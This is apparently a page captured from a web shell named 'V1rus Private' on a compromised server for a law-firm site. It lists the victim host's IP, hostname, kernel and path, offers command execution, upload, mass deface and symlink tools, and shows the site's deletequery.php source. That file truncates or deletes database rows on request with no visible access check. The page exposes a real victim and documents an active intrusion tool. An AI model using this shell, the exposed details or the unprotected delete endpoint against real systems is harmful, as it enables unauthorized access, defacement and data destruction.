V1rus Private
User / IP
:
216.73.217.26
Host / Server
:
103.138.189.202 / chaitanyalaw.com
System
:
Linux s1325.sgp1.mysecurecloudhost.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
chaitany
/
public_html
/
CMS
/
Viewing: deletequery.php
<?php include('layouts/db.php'); // var_dump($_POST); if (isset($_POST['delete_btn'])) { $id = mysqli_real_escape_string($conn, $_POST['deleteid']); $sql = "DELETE FROM query WHERE id='$id'"; $res = mysqli_query($conn, $sql); if ($res) { // $_SESSION['status']= "Data deleted Sucessfully"; echo 1; // header("location: showlawyer.php"); } else { echo 0; } } if (isset($_POST['deleteAllQuery'])) { $sql = "TRUNCATE TABLE query"; $res = mysqli_query($conn, $sql); if ($res) { echo 1; } } else { echo 0; }
Coded With 💗 by
HanzOFC